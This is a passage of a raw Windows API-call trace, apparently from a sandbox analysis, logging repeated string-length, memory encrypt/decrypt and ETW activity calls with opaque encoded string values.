(param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xbebc\xf977\xb4c4\xedba\xc98b\x544e\x4c8b\x6c09") returned 0x28 [0126.409] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xbebc\xf977\xb4c4\xedba\xc98b\x544e\x4c8b\x6c09") returned 0x28 [0126.409] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.409] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmHF2lR/7m其諎꾥") returned 0x28 [0126.409] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.409] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xfc07\x391c\x4a43\xc29f\xceee\xff20\xfe60\xf9ce") returned 0x28 [0126.409] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xfc07\x391c\x4a43\xc29f\xceee\xff20\xfe60\xf9ce") returned 0x28 [0126.409] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.409] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmHF2lR/7mR諎꾥") returned 0x28 [0126.409] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.409] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\x67b\x917d\x311a\x9603\x6f59\xda0f\x5bc0\x480f") returned 0x28 [0126.409] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\x67b\x917d\x311a\x9603\x6f59\xda0f\x5bc0\x480f") returned 0x28 [0126.409] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.410] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmHF2lR/7mRb꾥") returned 0x28 [0126.410] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.410] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\x95b6\x3e5c\xa6f5\x7ffe\xdffd\x840d\x4cbc\xe303") returned 0x28 [0126.410] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\x95b6\x3e5c\xa6f5\x7ffe\xdffd\x840d\x4cbc\xe303") returned 0x28 [0126.410] SystemFunction041 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.410] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmHF2lR/7mRbD") returned 0x28 [0126.410] SystemFunction040 (in: Memory=0x8e6f47c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f47c) returned 0x0 [0126.410] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xc7e9\x120\xfb78\xb2d1\xf9\xd78b\xcc2b\x2760") returned 0x28 [0126.410] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xc7e9\x120\xfb78\xb2d1\xf9\xd78b\xcc2b\x2760") returned 0x28 [0126.410] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xc7e9\x120\xfb78\xb2d1\xf9\xd78b\xcc2b\x2760") returned 0x28 [0126.410] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xc7e9\x120\xfb78\xb2d1\xf9\xd78b\xcc2b\x2760\x34c2\x6fe1\x526d\xe457\xc60b\x12f2\x279\x1d86") returned 0x30 [0126.410] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0126.410] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmHF2lR/7mRbDtꭾ겆闩䖞碊䩁ᰎ") returned 0x30 [0126.410] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0126.410] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xc7e9\x120\xfb78\xb2d1\xf9\xd78b\xcc2b\x2760\x946\x219\xe6df\x3a1c\xa090\x715e\xe855\x76a5") returned 0x30 [0126.410] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xc7e9\x120\xfb78\xb2d1\xf9\xd78b\xcc2b\x2760\x946\x219\xe6df\x3a1c\xa090\x715e\xe855\x76a5") returned 0x30 [0126.410] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0126.411] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmHF2lR/7mRbDth겆闩䖞碊䩁ᰎ") returned 0x30 [0126.411] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0126.411] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xc7e9\x120\xfb78\xb2d1\xf9\xd78b\xcc2b\x2760\x2e27\x7f3\x9c07\xffe4\xc017\x4240\x44a4\xab71") returned 0x30 [0126.411] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xc7e9\x120\xfb78\xb2d1\xf9\xd78b\xcc2b\x2760\x2e27\x7f3\x9c07\xffe4\xc017\x4240\x44a4\xab71") returned 0x30 [0126.411] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0126.411] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmHF2lR/7mRbDth8闩䖞碊䩁ᰎ") returned 0x30 [0126.411] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0126.411] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xc7e9\x120\xfb78\xb2d1\xf9\xd78b\xcc2b\x2760\x16de\xbe7c\x4d3d\xa925\x51d1\x74c2\xa7b1\x4442") returned 0x30 [0126.411] SysStringLen (param_1="\xebb9\xc215\x6f44\xd226\x94f1\x6bcf\x6a30\x6305\x3a42\xfc83\x6078\xb3bc\x47d6\x335b\xece\x9cd1\x2fa2\x7caf\x7df1\x32be\x8eb5\x581f\x83e6\x6e09\x7a8c\x57bb\x9081\x8b35\xbdd\x4a40\xbd9c\xa3ab\xc7e9\x120\xfb78\xb2d1\xf9\xd78b\xcc2b\x2760\x16de\xbe7c\x4d3d\xa925\x51d1\x74c2\xa7b1\x4442") returned 0x30 [0126.411] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0126.411] SysStringLen (param_1="gnbgMdQffZKnPBu1eU5FDBwPxl8LmHF2lR/7mRbDth8=䖞碊䩁ᰎ") returned 0x30 [0126.411] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0126.411] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.411] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xab, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.411] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.412] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae58c, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0126.412] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.412] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.412] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xac, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.412] SysStringLen (param_1="") returned 0x8 [0126.412] SysStringLen (param_1="Y") returned 0x8 [0126.412] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.412] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0126.412] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0126.412] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.412] SysStringLen (param_1="YW") returned 0x8 [0126.412] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.412] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0126.412] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0126.413] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.413] SysStringLen (param_1="YWM") returned 0x8 [0126.413] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.413] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0126.413] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0126.413] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.413] SysStringLen (param_1="YWM1") returned 0x8 [0126.413] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.413] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0126.413] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0126.413] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.413] SysStringLen (param_1="YWM1O") returned 0x8 [0126.413] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.413] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0126.413] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0126.413] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.413] SysStringLen (param_1="YWM1OT") returned 0x8 [0126.413] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.413] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0126.413] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0126.413] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.413] SysStringLen (param_1="YWM1OTE") returned 0x8 [0126.413] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.414] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0126.414] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0126.414] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.414] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0126.414] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.414] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.414] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.414] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.414] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0126.414] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.414] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0126.414] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.414] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0126.414] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0126.414] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.414] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0126.414] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.414] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0126.414] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0126.414] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.414] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0126.414] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.414] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0126.414] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0126.415] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.415] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0126.415] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0126.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0126.415] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.415] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0126.415] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0126.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0126.415] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.415] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0126.415] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0126.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0126.415] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.415] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0126.415] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0126.415] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0126.415] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.415] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0126.415] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0126.416] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.416] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0126.416] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0126.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0126.416] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.416] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0126.416] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0126.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0126.416] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.416] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0126.416] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0126.416] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0126.416] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.416] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0126.416] SystemFunction040 (in: 